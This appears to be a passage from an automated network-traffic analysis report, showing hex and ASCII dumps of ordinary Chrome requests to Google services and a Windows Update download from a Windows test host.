2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 79 4e 37 50 75 79 47 34 79 48 61 6a 64 42 54 72 49 72 2b 61 75 6c 72 7a 46 4c 6d 42 51 4a 73 59 79 4a 6b 4f 64 50 77 32 62 54 4f 70 55 59 76 67 54 74 48 53 45 57 76 67 59 32 55 30 50 44 77 38 50 74 4f 49 62 6d 5a 6a 4e 69 72 45 45 63 56 78 41 36 50 72 37 51 33 6a 74 49 56 6a 77 67 6a 49 51 46 45 52 73 64 39 74 63 37 50 2b 33 74 37 78 39 51 2b 33 73 39 50 33 33 2b 6c 32 75 66 58 39 76 35 46 4c 69 71 6d 38 4d 38 4c 41 66 34 42 34 78 6d 68 45 78 66 55 52 44 46 59 73 4e 42 4d 34 4f 52 56 30 7a 79 6f 5a 4c 67 36 74 6a 70 36 43 43 77 62 6a 34 34 4c 33 62 76 33 45 58 77 59 4c 59 33 78 49 4a 77 6d 4f 63 6c 59 46 51 76 46 6b 31 36 2f 59 6e 2b 77 31 30 49 75 50 70 6d 42 6b 43 4e 57 5a 38 72 50 62 77 35 56 51 78 58 4d 58 6c 52 4a 69 56 71 47 58 4b 38 76 7a 4b 79 6b Data Ascii: yN7PuyG4yHajdBTrIr+aulrzFLmBQJsYyJkOdPw2bTOpUYvgTtHSEWvgY2U0PDw8PtOIbmZjNirEEcVxA6Pr7Q3jtIVjwgjIQFERsd9tc7P+3t7x9Q+3s9P33+l2ufX9v5FLiqm8M8LAf4B4xmhExfURDFYsNBM4ORV0zyoZLg6tjp6CCwbj44L3bv3EXwYLY3xIJwmOclYFQvFk16/Yn+w10IuPpmBkCNWZ8rPbw5VQxXMXlRJiVqGXK8vzKyk
2024-10-31 16:26:14 UTC	1378	IN	Data Raw: 32 31 6f 75 4e 7a 4b 79 42 2b 57 65 35 62 42 44 34 69 2f 73 78 4b 55 74 42 6e 33 34 38 47 48 6c 72 4d 42 75 64 67 73 76 4f 33 4c 63 4f 34 55 58 4c 61 59 64 42 6c 70 50 47 4f 67 31 72 6b 6e 69 49 69 74 73 4f 4f 57 2f 54 61 56 53 7a 78 46 42 35 69 64 65 76 33 77 5a 4b 53 2b 4b 57 4f 30 37 37 65 4c 35 75 54 6d 66 72 33 30 55 6a 32 45 78 6f 67 64 61 30 77 38 53 58 6a 77 52 39 37 78 2f 36 69 4a 59 6b 75 74 39 6e 30 61 68 63 4a 2b 7a 5a 35 54 55 52 59 32 4d 75 43 43 44 79 78 41 50 71 45 69 36 56 65 53 46 4c 57 68 77 45 56 69 76 42 6a 62 33 54 76 51 44 63 59 45 70 49 79 4b 5a 6a 52 41 58 64 68 46 78 50 61 50 42 42 42 68 31 66 48 42 4d 57 75 52 46 59 6d 63 45 64 72 50 48 4b 34 76 30 71 49 69 56 77 47 42 2f 34 73 4c 4c 76 33 62 58 57 37 6b 68 76 4b 54 48 6f 51 4d Data Ascii: 21ouNzKyB+We5bBD4i/sxKUtBn348GHlrMBudgsvO3LcO4UXLaYdBlpPGOg1rkniIitsOOW/TaVSzxFB5idev3wZKS+KWO077eL5uTmfr30Uj2Exogda0w8SXjwR97x/6iJYkut9n0ahcJ+zZ5TURY2MuCCDyxAPqEi6VeSFLWhwEVivBjb3TvQDcYEpIyKZjRAXdhFxPaPBBBh1fHBMWuRFYmcEdrPHK4v0qIiVwGB/4sLLv3bXW7khvKTHoQM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	142.250.185.196	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:13 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 16:26:14 UTC	957	IN	HTTP/1.1 200 OK Version: 690498177 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 16:26:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 16:26:14 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-31 16:26:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49748	142.250.186.46	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:18 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 16:26:18 UTC	914	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 31 Oct 2024 14:25:53 GMT Expires: Fri, 31 Oct 2025 14:25:53 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 7225 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-31 16:26:18 UTC	464	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-31 16:26:18 UTC	1378	IN	Data Raw: 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 Data Ascii: otype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retur
2024-10-31 16:26:18 UTC	1378	IN	Data Raw: 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: r b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.ass
2024-10-31 16:26:18 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a Data Ascii: unction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:
2024-10-31 16:26:18 UTC	1378	IN	Data Raw: 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 Data Ascii: romise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=funct
2024-10-31 16:26:18 UTC	1378	IN	Data Raw: 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 Data Ascii: r("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for
2024-10-31 16:26:18 UTC	1378	IN	Data Raw: 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return th
2024-10-31 16:26:18 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e Data Ascii: =function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.
2024-10-31 16:26:18 UTC	1378	IN	Data Raw: 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 Data Ascii: e.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)re
2024-10-31 16:26:18 UTC	1378	IN	Data Raw: 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 Data Ascii: 9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xggLk+yRVhH6MbZ&MD=FAVm525a HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 16:26:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b982cdc4-5032-4a25-ac4b-5a804d65554c MS-RequestId: 660aa311-df0d-41b0-a8fa-16231772f11c MS-CV: 13J4f6+e0kKFvTlV.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 16:26:17 GMT Connection: close Content-Length: 24490
2024-10-31 16:26:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-31 16:26:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49753	172.217.23.110	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:18 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 16:26:18 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 39 31 39 37 35 39 34 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google 